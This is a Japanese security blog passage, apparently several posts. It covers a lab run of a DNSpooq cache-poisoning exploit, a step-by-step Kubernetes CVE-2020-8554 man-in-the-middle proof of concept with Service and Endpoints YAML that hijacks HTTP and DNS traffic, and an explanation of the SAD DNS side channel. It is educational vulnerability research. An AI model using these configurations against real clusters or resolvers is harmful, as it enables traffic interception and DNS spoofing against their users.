これだけの労力で信じられないぐらい速くなります。上の raw() が遅いと言っていた人によれば2000-3000倍とのことでしたが、手元だともう少し早くなってそうでした。

Python使ってる時点で駄目かと思ってCに書き直そうかと思ったのですが、きちんとボトルネックを調べて直していけば意外と速かったりするので雑に結論付けずに何事も計測が大事ですね。

実行

あとはattackerコンテナに入って攻撃コードを実行するだけです。

docker-compose exec attacker bash
bash-5.0# python exploit.py
Querying non-cached names...
Generating spoofed packets...
Poisoned: b'google.com.' => 169.254.169.254
sent 3032017 responses in 50.309 seconds

50秒程度で成功している様子が伺えます。ペーパーの試算によれば秒間14万パケットぐらい送る前提で50%だったので、今回は秒間6万パケットぐらいしか送れていないことを考えると2秒以内に成功する確率は低くなります。とはいえ検証には十分すぎるスピードです。

forwarderのログを見ると最初 example.com をcacheコンテナに転送し、その後総当りでTXIDとソースポート番号がうまくヒットして google.com がキャッシュしている様子がわかります。

$ docker-compose logs -f forwarder
...
forwarder_1  | dnsmasq[1]: query[A] example.com from 10.10.0.3
forwarder_1  | dnsmasq[1]: forwarded example.com to 10.10.0.4
forwarder_1  | dnsmasq[1]: cached example.com is <CNAME>
forwarder_1  | dnsmasq[1]: cached google.com is 169.254.169.254

そしてcacheのログを見ると、確かに同一ドメイン名に対するクエリなのに異なるTXIDが発番されていることが分かります。このおかげでいずれかのTXIDにヒットすれば毒入れが出来るようになっています。そしてキャッシュポイズニングとは関係ないですが、後半になると同じポート番号だけ使うようになっていて、使うポートのバランシングに若干問題ありそうな気配を感じ取れます。

$ docker-compose logs -f cache
Attaching to dnspooq_cache_1
cache_1      | Sniffing...
cache_1      | Source port: 46816, TXID: 16476, Query: b'example.com.'
cache_1      | Source port: 16718, TXID: 54280, Query: b'example.com.'
...
cache_1      | Source port: 46816, TXID: 56240, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 24160, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 40361, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 13100, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 47303, Query: b'example.com.'

ということで無事に毒入れが出来ました。何度か試しましたが、遅くても5分以内ぐらいには終わるのでペーパーで説明されていたとおりでした。少しエントロピーが小さくなるだけで一気に現実的な時間で終わるようになるというのは、やはり自分で試すと実感が得られて楽しいです。

今回は1マシン1プロセスでやりましたが、もっと並列化すれば速くなるはずなので2秒以内に終わる可能性が50%というのもそこまでありえない数字ではないかなと思います。とはいえ今回はローカル内からやってますが実際にはインターネット上のサーバから送らないといけないはずで、そこを考慮するともう少し確率は低くなりそうな気がします。

攻撃者がするべきことは多数のDNSクエリをforwarderに向けて投げるだけ(またはLAN内のマシンから投げさせるだけ)なので、比較的条件は緩い方かなと思いますし最初に要約で述べた条件に当てはまる場合はやはり対策の検討を推奨したいです。ただStruts 2 のRCEのようにばらまけば簡単に刺さりまくるようなタイプの攻撃ではないので、攻撃者の労力に対して得られる利益が割と少なく世界的に大流行する可能性は低いと考えています。攻撃者に標的にされるとまずいかも、ぐらいの前提で対策の要不要を検討すると良さそうです。

対策・緩和策

まず一番良いのはdnsmasqを2.83以上に更新することです。また今回の脆弱性に限らずLAN内からの攻撃を防ぐためにはDHCPスヌーピングやIP source guardなどのレイヤー2セキュリティが有効です。ですが空港やホテルなど、そもそも不特定多数が使うネットワークだと難しいかなと思います。

他にもキャッシュポイズニングに関していくつかの緩和策が上げられています。

  • dnsmasqを不要にWAN側でlistenしない
  • DNSクエリの最大同時転送数をデフォルトの150から少なくする

他にもDNSSECを有効にするというのもあります。ただしCRC32の脆弱性は使えなくなりますがCVE-2020-25686は有効ですし、今回のブログでは触れていませんがDNSSEC検証が有効になっている場合、今度はバッファーオーバーフローの方の脆弱性が刺さってしまうためそちらの危険性が高まってしまいます。

余談

PoCは0から書いたのですが、割と拡散されたようで今回の報告者であるJSOFにも届いてしまいました。

良いPoCだ!と褒めてもらえたので良かったです。褒められると木に登る豚なのでCRC32のPoCも書いちゃうか?!と思ってます。

まとめ

dnsmasqの脆弱性のうちDNSキャッシュポイズニングに関する脆弱性の説明をしました。複数の脆弱性を組み合わせることで現実的な攻撃に落とし込んでいます。攻撃の実現容易性という意味でいうと、単にブラウザで攻撃者のWebサイトを表示させて大量のDNSリクエストを送らせるだけで毒入れ可能なのでそこそこ高いかなと感じています。さらにdnsmasqは様々なデバイス内部で使われていることを考えると、自分ではdnsmasqインストールしてないから安心!ということはなく利用している端末が影響を受けないかをきちんと確認する必要があります。そしてその端末がパブリックになっている場合は脆弱性関係なくそもそも設定を修正するべきです。意図的にパブリックにする必要があるのであれば今回の脆弱性の影響は大きいと思うのでバージョンをあげるのが良いです。

また、dnsmasqがLAN内からのリクエストのみを受け付けてWANに面している場合でもブラウザで単に攻撃者のWebサイトを閲覧させるだけで攻撃の実行が可能になっています。こちらも攻撃は割と容易かと思いますがそのような状況がどの程度あるのかはペーパーでは触れられていませんでしたし、自分も分かっていません。小規模なネットワークだとルータにdnsmasqが入っていてNATしつつDNSフォワーダもやってる、みたいな状況は結構多いか思います。大規模なネットワークだとどうなんでしょう。もしそういった構成が多いのであればDNSpooqは十分脅威かなと思います。DNSと関係ない仕事をしている人間の意見なので、有識者の方教えて下さい。

ということでdnsmasqの脆弱性でしたが、CRC32の衝突を利用してTXIDの推測を容易にするというのは面白かったです。またCNAMEを検証せずに受け入れてしまう、というのはDNSフォワーダとして合理的とはいえ今後も悪用されそうだなと感じました。

そして自分で攻撃コードを書いてみたわけですが、ホワイトペーパーを読んだだけでは分からなかった気付きも多く自分で手を動かすと得られる知見が段違いだなと改めて思いました。

ということで危険度を理解して正しく対策をしましょう。

KubernetesのLoadBalancerやClusterIPを用いた中間者攻撃(CVE-2020-8554)

今回は前回と違いライトなネタです。

概要

Kubernetesで新しい脆弱性(CVE-2020-8554)が公開されました。

github.com

拍子抜けするほど簡単な脆弱性なのですが、一応試しておきました。発見者の方のブログも以下にあります。

blog.champtar.fr

今回の脆弱性はServiceのtype: LoadBalancer/ClusterIPを悪用して行う中間者攻撃(MITM)なのですが、ブログの中でMITM as a Serviceと評していたのが面白かったです。KubernetesがMITMを簡単に代行してくれるという意味でas a Service感強いですし、今回悪用するリソースタイプもServiceなので二重にかかっていて好きです。

要約

  • 前提
    • 攻撃者が以下のいずれかの権限を持つ場合
      • type: ClusterIPのServiceを作成可能かつspec.externalIPsを設定可能
      • type: LoadBalancerのServiceのspec.externalIPsを設定可能
      • type: LoadBalancerのstatusが変更可能
        • より具体的にはstatus.loadBalancer.ingress.ipを変更可能
  • 影響
  • 影響するクラスタ
    • 全てのKubernetesバージョン
    • 特にマルチテナントをしていてServiceを作る権限がある場合は影響が大きい
      • 他の利用者のPod/Nodeの通信を傍受できる可能性があるため
  • アップデート
    • なし(設計上の欠陥であり修正のためには破壊的変更が必要)
  • 緩和策
  • 個人的な感想
    • マルチテナントクラスタの場合は影響ありそう
    • それ以外は攻撃者がServiceを作れるという前提が厳しいため影響は軽微

脆弱性概要

Serviceではtype: LoadBalancerやtype: ClusterIPが利用できますが、その中にexternalIPsというフィールドがあります。

kubernetes.io

上記のドキュメントにある設定例を引用します。

apiVersion: v1
kind: Service
metadata:
  name: my-service
spec:
  selector:
    app: MyApp
  ports:
    - name: http
      protocol: TCP
      port: 80
      targetPort: 9376
  externalIPs:
    - 80.11.12.10

この例ではmy-serviceは80.11.12.10:80でアクセス可能です。ここでexternalIPsを指定していますが、ドキュメントにもあるようにこれはKubernetesで管理されているわけではありません。実は任意のIPアドレスが指定できるというのが今回の脆弱性の肝です。

例えば8.8.8.8を指定するとどうなるかと言うと、8.8.8.8宛に通信したいPodのリクエストが全てmy-serviceにルーティングされます。これはクラスタ外部には影響を与えないので、クラスタ内のPodやNodeが影響を受けます。

これを悪用して、例えば example.com にアクセスしたいPodのHTTPリクエストを吸い込んで偽の応答を返すと行ったことが可能です。

非常にシンプルすぎてこれ以上特に説明することがありません。脆弱性の説明だけで2万文字以上書いた前回とは雲泥の差です。脆弱性に興味ある人は以下も興味あるかもしれないので一応貼っておきます。

knqyf263.hatenablog.com

さすがにシンプルすぎたのでちょっとお絵かきしてみました。インターネット上の8.8.8.8にアクセスしたいのにexternalIP: 8.8.8.8なServiceがあるせいでそちらにトラフィックが吸い込まれるイメージです。あくまでイメージなのであまり厳密性は考慮して作ってません。

f:id:knqyf263:20201208203451p:plain

PoC

簡単なのでHTTPとDNS両方やってみます。ご丁寧に上のGitHubのIssueや発見者のブログに再現方法も載っているので簡単です。ただ自分の環境用に少しアレンジしています。 Namespaceはdefaultでやってますが、あとで消すの面倒な人は適当なテスト用のNamespaceを作っておくと良いと思います。 自分はkindを使いました。

$ kind create cluster

HTTP編

まず、nginxを起動します。このnginxはHTTPリクエスト吸い込む先のPodになります。もちろん本来であればnginxではなくて攻撃者の好きなことをするためのPodを配置します。

$ kubectl run nginx --image nginx:latest --port 80

この状態で example.com にアクセスしてみます。

$ kubectl run --rm -it curl --image=curlimages/curl --restart=Never -- curl -I http://example.com
HTTP/1.1 200 OK
Accept-Ranges: bytes
Age: 493368
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Tue, 08 Dec 2020 04:34:39 GMT
Etag: "3147526947"
Expires: Tue, 15 Dec 2020 04:34:39 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECS (dcb/7EC8)
X-Cache: HIT
Content-Length: 1256

pod "curl" deleted

そうすると上記のようなデータが返ってきます。この時点では正常にアクセスできています。

次にtype: ClusterIPのServiceを作ります。この時、externalIPsのところに吸い込みたいIPアドレスを指定します。今回は example.comIPアドレスにしています。selectorとしてnginxを指定しているので、example.com 宛の通信がnginxに吸い込まれます。

$ cat service.yaml
apiVersion: v1
kind: Service
metadata:
  name: mitm
spec:
  selector:
    run: nginx
  type: ClusterIP
  ports:
    - name: http
      protocol: TCP
      port: 80
      targetPort: 80
  externalIPs:
    - 93.184.216.34

$ kubectl get service
NAME         TYPE        CLUSTER-IP      EXTERNAL-IP     PORT(S)   AGE
kubernetes   ClusterIP   10.96.0.1       <none>          443/TCP   10m
mitm         ClusterIP   10.110.24.182   93.184.216.34   80/TCP    7s

EXTERNAL-IPが93.184.216.34になっていることを確認したら、もう一度 example.com にアクセスしてみます。

$ kubectl run --rm -it curl --image=curlimages/curl --restart=Never -- curl -I http://example.com
HTTP/1.1 200 OK
Server: nginx/1.19.5
Date: Tue, 08 Dec 2020 04:45:26 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 24 Nov 2020 13:02:03 GMT
Connection: keep-alive
ETag: "5fbd044b-264"
Accept-Ranges: bytes

pod "curl" deleted

今度はnginxからレスポンスが返ってきていることが分かります。ということで攻撃者のPodでHTTPリクエストを盗聴することができました。

DNS

先程はServiceのselectorを使って攻撃者のPodに対してリクエストを送らせる方法を取りましたが、実は Endpoints を使うことでKubernetesクラスタ内だけではなく外部にデータを送らせることも可能です。EndpointsはService使った時とかに作られるぐらいの雑な認識だったのですが、自分でも好きにいじれるということを知りました(当たり前ですが)。Serviceがselectorを持ってない場合などは自分でEndpoints作るということがドキュメントにも書いてありました。

kubernetes.io

とりあえず先程のServiceを消しておきます。

$ kubectl delete svc/mitm

最初からdigなどがセットアップされたコンテナイメージを発見者の方が用意してくれているようですが、簡単なので自分でセットアップしていきます。

まずさっき作ったnginxのPodにログインします。

$ kubectl exec -it nginx -- bash

digをインストールします(ついでにvimも)。

 $ apt -y update && apt -y install dnsutils vim

まず適当に名前を引いてみます。

root@nginx:/# dig example.com

(中略)

;; SERVER: 10.96.0.10#53(10.96.0.10)
;; WHEN: Tue Dec 08 05:30:18 UTC 2020
;; MSG SIZE  rcvd: 79

結果を見ると10.96.0.10に問い合わせに行っています。

resolv.confを見ると確かにそうなっています。

root@nginx:/# cat /etc/resolv.conf
search default.svc.cluster.local svc.cluster.local cluster.local
nameserver 10.96.0.10
options ndots:5

k8sクラスタ内のIPアドレスだとLoadBalancerでの吸い込みが動かないかと思います。少なくとも自分の環境では無理でした。内部のIPアドレス宛だとデフォルトゲートウェイに飛ばされず内部で通信してしまうのでLoadBalancerのレイヤーに到達しない気がしますし、これは動かないのが自然かと思います。

何か頑張ればできるかもしれませんが、今回は外部のDNSサーバに変えます。発見者の方の動画を見ると、GKEでは169.254.169.254になっているため特に設定変更不要で攻撃が刺さるようでした。

今回は8.8.8.8にしています。

root@nginx:/# cat /etc/resolv.conf
search default.svc.cluster.local svc.cluster.local cluster.local
nameserver 8.8.8.8
options ndots:5

再度適当に名前を引いてみます。

root@nginx:/# dig example.com

(中略)

;; ANSWER SECTION:
example.com.            20528   IN      A       93.184.216.34

;; Query time: 51 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Tue Dec 08 05:41:43 UTC 2020
;; MSG SIZE  rcvd: 56

確かに8.8.8.8にアクセスしています。CHAOSクラスを確認してみます。

root@nginx:/# dig +short CH TXT version.server
root@nginx:/# dig +short CH TXT id.server

すると何も返ってきません。Google Public DNSはCHAOSクラスのレコードを返してくれないようです。ちなみにBINDなどではversion.bindでバージョンを確認することができます。

www.atmarkit.co.jp

ただBINDのバージョンを返すと脆弱なバージョンであることが分かったりしてセキュリティ上は良くないため、ローカルネットワークからのみ許可するなどの設定が一般的です。

上の確認ができたらexitして以下の設定を進めます。または別のターミナルを開いても良いです。

Kubernetesの設定に戻ります。先程はClusterIPを使ったので、今回はLoadBalancerを使ってみます。今回は8.8.8.8宛の53/udpを吸い込みたいので、以下のような設定にします。

先ほど説明したようにselectorは設定していません。

$ cat service.yaml
apiVersion: v1
kind: Service
metadata:
  name: mitm
spec:
  type: LoadBalancer
  ports:
    - name: dns
      protocol: UDP
      port: 53
      targetPort: 53
  externalIPs:
    - 8.8.8.8

$ kubectl apply -f service.yaml
service/mitm created

$ kubectl get svc/mitm
NAME   TYPE           CLUSTER-IP      EXTERNAL-IP   PORT(S)        AGE
mitm   LoadBalancer   10.105.50.141   8.8.8.8       53:31296/UDP   24s

selectorを指定していないのでEndpointsもありません。

$ kubectl get endpoints/mitm
Error from server (NotFound): endpoints "mitm" not found

ということで自分で作ります。1.1.1.1の53/udpに飛ばしてほしいので以下のようになります。ちなみに発見者の方のブログのYAMLは最後がtargetPortになっていますが(2020/12/08現在)、それだと動かなくてprotocolが正しいかなと思います。

$ cat endpoints.yaml
apiVersion: v1
kind: Endpoints
metadata:
  name: mitm
subsets:
- addresses:
  - ip: 1.1.1.1
  ports:
  - name: dns
    port: 53
    protocol: UDP

applyすれば準備完了です。

$ kubectl apply -f endpoints.yaml
$ kubectl get endpoints/mitm
NAME   ENDPOINTS    AGE
mitm   1.1.1.1:53   2s

ではもう一度nginxのPodに入ってdigで引いてみます。

$ kubectl exec -it nginx -- bash
root@nginx:/# dig example.com

(中略)

;; ANSWER SECTION:
example.com.            81213   IN      A       93.184.216.34

;; Query time: 22 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Tue Dec 08 05:57:48 UTC 2020
;; MSG SIZE  rcvd: 56

8.8.8.8に問い合わせていますし、特に何も変わっていないように見えます。しかし再度CHAOSクラスのversion.serverなどを引いてみます。

root@nginx:/# dig +short CH TXT version.server
"2020.12.0"
root@nginx:/# dig +short CH TXT id.server
"TLV"

今度は値が返ってきています。これはCloudflareのDNSサーバがこれらのレコードに対応しているためです。version.serverの方は発見者の環境では "cluodflare-resolver-2019.11.0" などのわかりやすい値が返ってきていましたが、自分の環境では"2020.12.0"のみでした。

1.1.1.1に問い合わせると同じ値が帰ってくることが分かります。

root@nginx:/# dig +short @1.1.1.1 CH TXT version.server
"2020.12.0"

id.serverは自分がイスラエルのTel-Aviv在住なのでTLVになっています。

ということで8.8.8.8に問い合わせたはずなのに1.1.1.1に問い合わせに行っていることが分かります。これを1.1.1.1ではなく攻撃者のDNSサーバにしてしまえば好きなDNSレスポンスを返すことができます。

その他

他にも実験した内容が発見者のブログには書いてあるため、興味がある人は目を通すと良いです。

blog.champtar.fr

まとめ

攻撃者がServiceの設定が出来るという前提があるため実際の悪用はマルチテナント以外の状況では難しいかと思いますが、シンプルな脆弱性なので軽く目を通しておくと良いかと思います。

以下のブログで解説した脆弱性も攻撃者がクラスタ内にいる前提での中間者攻撃でした。最近のトレンドかなと思います。

knqyf263.hatenablog.com

今回の脆弱性は影響こそ大きくないものの設計上の欠陥ということでパッチは今のところないため、軽く頭の片隅においておくと良さそうです。今後の方針については以下で話し合われているようです。

github.com

SAD DNSのICMP rate limitを用いたサイドチャネル攻撃について

脆弱性ネタは人気がないことが過去の傾向から明らかですが、自分が震えるほど感動したので忘れないためにも気合い入れて大作を書きました。

要約

ちゃんと理解するの結構難しいという話があったので、先に要約しておきます。雰囲気だけでも掴んでもらえると嬉しいです。

  • DNSキャッシュポイズニングの新しい手法としてSAD DNSが発表された
  • キャッシュポイズニングのためには権威DNSサーバ正規の応答を返すより先に攻撃者が偽の応答を返す必要がある
    • DNSではデフォルトでUDPが使われるため偽装が比較的容易
  • DNSキャッシュポイズニングではSource PortとQuery IDの両方を推測する必要がある
    • それぞれ16bitであるため、組み合わせは32bitとなり現実的な時間内では不可能
  • 今回のSAD DNSでは上のSource Portをスキャンにより推測することが出来る
    • つまり2の16乗でSource Portを推測できるため、あとはQuery IDを2の16乗で推測すれば良い
    • 2の16乗+2の16乗なので現実的な時間で総当り可能
  • Source PortのスキャンにICMP rate limitを悪用する(サイドチャネル攻撃)
    • DNSゾルバがDNS権威サーバに問い合わせるときのことを考える
    • DNSゾルバに対して攻撃者はUDPのパケットを送信する
      • 送信元IPアドレスDNS権威サーバのものに偽装する(権威サーバから返ってきたように見せかける)
      • UDP送信先ポート番号は1-65,535まで変化させていく
    • ポートが閉じている場合はICMP port unreachableが権威サーバに返される
      • 攻撃者はこのパケットを見ることが出来ない(見ることが出来たらそもそもポートスキャンは容易)
      • LinuxはICMPのrate limitがあり20msで50回しかICMPメッセージを送出できない(デフォルト設定の場合)
      • 50個UDPパケットを送り、その全てのポートが閉じられている場合はrate limitの上限に達する
    • 次に攻撃者は攻撃者のサーバのIPアドレスを送信元にして閉じられていそうなポートに対してUDPパケットを投げる
      • 上で送った50個のUDPパケットの宛先ポートが全て閉じられていればICMPのrate limitに達しているため何も返ってこない
      • しかし50ポートの中に1つでも開いているポートがあればrate limitに余裕があるためICMP port unreachableが返る(これは攻撃者に返ってくるので観測可能)
      • この挙動の違いによりポートが開いているか判別可能
      • あとは二分探索などで絞り込んでいけばSource Portが推測可能
  • 権威DNSサーバからの正規レスポンスを遅らせる
    • 上のスキャンは時間がかかるため(デフォルト設定の場合は1000 port/secが上限)、時間を稼ぐ必要がある
    • そこで攻撃者は権威DNSサーバに対してDNSゾルバのふりをして大量のDNSパケットを送信する
    • Response Rate Limiting(RRL)を実装しているサーバの場合はスキャンが来たとみなして意図的にレスポンスを遅くする
      • スキャンや不正行為の成功確率を下げるため
    • このセキュリティ機構を逆に悪用することでキャッシュポイズニングする時間を稼げる

一言で言ってしまえばDNSキャッシュポイズニングにはUDPのSource Port推測が必要で、その達成にICMP rate limitのサイドチャネル攻撃を用いるというものです。ICMP global rate limitはマシンで一つのカウントを共有しているため、ICMPメッセージを直接見ることが出来なくても数の減少から何個程度のICMPメッセージが返されたのか推測できてしまいます。

Cloudflareのブログから図を引用しておきます。実はこの図正確ではないという話を後半でしているのですが、概要を理解するためには良い図だと思うのでここに貼っておきます。

https://blog.cloudflare.com/content/images/2020/11/image2-7.png

Cloudflareのブログより引用

上のスキャン方法は時間がかかるため時間を稼ぐ必要がります。今度は権威サーバ側のrate limitを悪用してレスポンスが返ってくるのを遅らせます。その手法とセットでようやく攻撃が現実的になります。

上の説明を読んで、もっと詳しく知りたいと思った方は以下の説明を読んでいただければと思います。

背景

先日、DNSキャッシュポイズニングに関する新たな攻撃方法としてSAD DNSが公開されました。

www.saddns.net

Cloudflareのブログもまとまっていて分かりやすいです。

blog.cloudflare.com

DNSのキャッシュポイズニングは古くからある手法ですが、2008年に公開されたKaminsky Attackが特に有名です。そもそもDNSキャッシュポイズニングって何?という話ですが、DNSでは問い合わせた結果を再利用するためキャッシュに保存します。そのキャッシュを攻撃者が望むような値に書き換えることで悪意あるサーバへ誘導するというものです。基本的には正規のリクエストが返ってくるより先に偽の応答を返すことで実現されます。スタブリゾルバやフォワーダーも全てキャッシュを持ちますし今回のSAD DNSではそれら全てを対象と出来ることを優位性として主張していますが、一般的にキャッシュポイズニングと言うとフルサービスリゾルバに対する攻撃を指すことが多いかと思います。

ここに関してもちゃんと説明すると長くなるので詳細は省きますが、JPRSから出ている以下のドキュメントにKaminsky Attack含めもう少し詳しく書いてあります。

https://jprs.jp/related-info/guide/009.pdf

かつてのキャッシュポイズニングはTTLの関係で一度キャッシュされてしまうと同じドメイン名に対する攻撃は即座に行えなかったのですが、Kaminsky Attackでは存在しないドメイン名(NXDOMAIN)を活用することでそれを回避して実質無制限に試行できるようになっています。NXDOMAINを汚染してどうするんだと思われるかもしれませんが、ADDITIONAL SECTIONを活用することで任意のドメイン名とそれに対応するIPアドレスをキャッシュさせることが出来ます。ちなみのこの部分についてはDNSプロトコルの問題ではなくBINDの実装ミスだったのではないかという疑惑があります。そうすると一般的な手法としているKaminskyさんの主張はやや間違っていることになりますが、自分は古いBINDバージョンで試して動くことは確認したものの、他のDNS実装でどうなのか?などは未確認なのでどちらが正しいとも言えないです。とりあえずはKaminskyさんが発表した内容に基づき上の説明は行っています。この辺りもいずれ自分でもう少し深く調査したいなと思います。

ということで話を戻しますが、簡単に言うと今まではキャッシュを汚染するのは難しかったのにKaminsky Attackによって(当時の環境において)劇的に簡単になったということです。

ですが、レスポンスを偽造するためにはざっくりいうと2つのランダムな値を推測する必要があります。

https://blog.cloudflare.com/content/images/2020/11/image4-6.png

※ 上記Cloudflareのブログより引用

その2つというのが図にもあるように

  • Source Port
  • Query ID

です。DNSはデフォルトではUDPなのでコネクションを張らなくても上の2つが推測できてしまえば正規のレスポンスの代わりに攻撃者が応答することが出来ます。Kaminsky Attackが公開された当時、クエリを発行するときのSource Portが固定になっているDNSサーバの実装が多かったため大きな問題となりました。Query IDは16bitであるため、65,536通りにしかなりません。この程度であれば総当たりで容易に推測可能です。そこでDNSサーバはSource Portをランダムにする実装を行いました。Source Portも16bitのため合計で推測する値が32bitになり現実的な時間内で総当りするのが困難になりました。

今回のSAD DNSではこのSource Portの推測が肝になります。ICMPのrate limitを用いたサイドチャネル攻撃によってSource Portが推測可能になり、あとはQuery IDを総当りすればよいだけなのでキャッシュポイズニングが現実的な時間で可能になります。

一通り読んで概要は理解できたのですが、よくよく考えると分からないところが多かったので自分で試したところ案の定うまくいきませんでした。あまりに気になりすぎたので勢い余って論文を全て読んでしまいました。攻撃手法の論文読むの楽しい。今忙しいのでそんなことをしている場合ではないのですが止まりませんでした。

https://dl.acm.org/doi/pdf/10.1145/3372297.3417280

疑問だったことは論文を読んで綺麗に解決しました。まさに知りたかったことが全て書いてあって凄い...

発表のプレゼン資料だったりCloudflareのブログだと概要になっていて大事なところが書かれていないので、自分が理解した範囲でもう少し細かくまとめておきます。

SAD DNSの解説

全体像

論文の内容をそのまま書くわけではなく、自分が面白いと思った点をかいつまんで補足しつつ説明しています。自分の補足が間違っている可能性もありますし、詳細が気になる人は論文を読んでみて下さい。

今回の手法は複数のレイヤーのキャッシュに対して攻撃可能になっています。論文の図を引用します。

f:id:knqyf263:20201119200538p:plain

論文 P.1339, Figure 1より引用

このようにDNSというのはいくつかのレイヤーがありますが、このうちAuthoritative name servers(以下、権威サーバ)以外に対して有効な手法です。論文中では主に影響の大きさからForwarderとRecursive Resolverについて解説しています。このブログでは簡単のためRecursive Resolver(以下、リゾルバ)に絞って説明します。

攻撃者の前提としては以下です。

  • 中間者攻撃ではない
    • 正規権威サーバの応答などを見ることは出来ない
  • IP spoofingが可能である
  • ゾルバに名前解決させることが可能
    • ゾルバにDNSクエリを問い合わせられるネットワークにいる

1つ目は、そもそもDNSサーバに対して中間者攻撃出来たら任意の値を返せるのでキャッシュポイズニングでは前提として中間者攻撃は出来ません。

ASによってはソースIPアドレスの詐称を出来なくしていますが、最近の研究によれば30.5%のASはそのような対策をしていないそうです。攻撃者はそのうちの一つを選べば2つ目の条件を満たせるため、これは容易です。論文内ではサーバのレンタルなどによって実現可能と書いています。

3つ目は同じLAN内からじゃないと受け付けないリゾルバなどの場合は、攻撃者がそのLANに入るかLANに属するマシンを乗っ取る必要があります。パブリックDNSサービスと呼ばれるもの(Cloudflareの1.1.1.1やGoogleの8.8.8.8が有名)はどこからでも受け付けるため、最初からこの条件を満たしています。

つまりいずれの条件も満たすのは簡単です。

では実際に攻撃の大まかな流れを書きます。

  1. UDPのソースポート番号を推測する
    • ICMPのサイドチャネル攻撃を使う
    • rate limitの関係で最大1000 port/sec程度のスキャン速度
  2. 攻撃のWindowを広げる(攻撃可能な時間を伸ばす)
    • 攻撃は権威サーバから正規レスポンスが返ってくる前に終わらせる必要がある
    • 65,535個ポートがあるにも関わらず1000 port/secでは通常スキャンが終わらないため、正規レスポンスが返ってくるのを遅延させる
  3. ソースポートが分かればQuery IDをブルートフォースする

3に関しては何も新規性はありません。また、2に関しても攻撃を成立させるためには重要なのですが、特に面白いなというわけでもなかったのであまり詳しくは説明しません。タイトルにもあるように1についてメインで解説します。

UDPのソースポートについて

まず、当たり前ですがUDPTCPと異なりステートレスなプロトコルです。論文でRFC 8085を参照しているので日本語版を少し見てみます。

tex2e.github.io

中に、下記のような記述があります。

UDPデータグラムは、接続設定なしで直接送受信できます。ソケットAPIを使用すると、アプリケーションは単一のUDPソケットで複数のIP送信元アドレスからパケットを受信できます。一部のサーバーはこれを使用して、単一のUDPソケットを通じて同時に複数のリモートホストとデータを交換します。多くのアプリケーションは、特定の送信元アドレスからパケットを確実に受信する必要があります。これらのアプリケーションは、アプリケーション層で対応するチェックを実装するか、オペレーティングシステムが受信したパケットをフィルタリングすることを明示的に要求する必要があります。

普通に読むとサーバのことかなと思うわけですが、実はクライアントにも同じことが言えます。

以下のUDP送信サンプルプログラムを考えてみます(linterかけてないので規約がガバガバなのは目をつむって下さい)。

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <arpa/inet.h>

void show_port(int s) {
    struct sockaddr_in addr ;
    int len ;
    len = sizeof( addr );
    if(getsockname( s, (struct sockaddr *)&addr, &len)< 0 ) {
        perror("getsockname");
        exit( -1 );
    }
    printf("source port: %d\n",ntohs(addr.sin_port));
}

int main(int argc, char** argv) {
    int sock;
    struct sockaddr_in to, from;
    char rbuf[100];
    int fromlen, rcount ;

    if((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
        perror("socket");
        return -1;
    }

    to.sin_family = AF_INET;
    to.sin_port = htons(10000);
    to.sin_addr.s_addr = inet_addr("192.168.33.10");

    if(sendto(sock, "test", 4, 0, (struct sockaddr *)&to, sizeof(to)) < 0) {
        perror("sendto");
        return -1;
    }
    show_port(sock);

    fromlen = sizeof(from);
    rcount = recvfrom(sock, rbuf, sizeof(rbuf), 0, (struct sockaddr *)&from, &fromlen);
    if(rcount < 0) {
        perror("recvfrom");
        return -1;
    }

    printf("remote addr: %s\n", inet_ntoa(from.sin_addr));

    close(sock);

    return 0;
}

やっていることは簡単で、UDP用のソケットを開いて 192.168.33.10 の 10000番ポートにtestという値を送っているだけです。送ったら自分の送信元ポートを表示し、その後レスポンスが返ってきたらレスポンスを返してきたIPアドレスを表示します。

上のサンプルプロプログラムを試すにはサーバが2台必要です。まず 192.168.33.10 の10000番ポートでlistenしておきます。 -u つけるとUDPになります。

$ nc -ulp 10000

次にもう一台のサーバに入って上のプログラムを実行します。すると上の 192.168.33.10 のncにtestという文字が送られてくるので、適当にfooとか返しておきます。

$ gcc main.c
$ ./a.out
source port: 51244
remote addr: 192.168.33.10

すると上のような表示になります。192.168.33.10に送ったのだから192.168.33.10からレスポンスが返ってくるのも当たり前という気がしますが、実はそうではありません。ここでもう一台サーバを起動します(3台目)。先程同様に192.168.33.10上でncで待ち構えてからサンプルプログラムを実行します。

$ gcc main.c
$ ./a.out
source port: 51244

この時、192.168.33.10からレスポンスを返さずに3つ目のサーバ(今回の例では192.168.33.12)からプログラムを動かしているサーバ(192.168.33.11)の51244番ポートにUDPパケットを送ってみます。

$ nc -u 192.168.33.11 51244

すると、先程のサンプルプログラム上で以下のように表示されます。

$ ./a.out
source port: 51244
remote addr: 192.168.33.12

つまり、このプログラムは現在192.168.33.10と通信しているはずなのに192.168.33.12からのUDPパケットを受け取ってしまうということです。先程RFCに書いてあった

これらのアプリケーションは、アプリケーション層で対応するチェックを実装するか、オペレーティングシステムが受信したパケットをフィルタリングすることを明示的に要求する必要があります。

はまさにこのことで、正しい相手と通信するためには自分でアプリケーション層で実装しなくてはならないということです。DNSでいうところのQuery IDだったりします。

これだと面倒という時もあるので、そういう場合はconnect()が使えます。先程のsocketを作ってからsendto()するまでの間に以下のコードを挟みます。

    if(connect(sock, (struct sockaddr *)&to, sizeof(to)) < 0) {
        perror("connect");
        return -1;
    }

これで現在通信中の相手以外からのパケット(送信元のアドレスとポートが一致しない相手)は弾いてくれます。つまりアプリケーション側で弾く必要はありません。

www.coins.tsukuba.ac.jp

分かりやすい説明なので上のページから引用します。

UDP/IP では、connect() しなければ、1つのソケットで、複数の通信相手と データを送受信することができる。通信相手は、sendto() で指定し、 recvfrom() で任意の場所から受信することが普通である。connect() システ ムコールを使うと、特定の相手としか通信できなくなるが、connect() を使う 方法は、UDP/IP のプログラムの書き方としては一般的ではない。

この辺りはLinuxシステムプログラミングをしていれば知っていることかとは思いますが、このあとの説明で必要なので最初に簡単に説明しておきました。

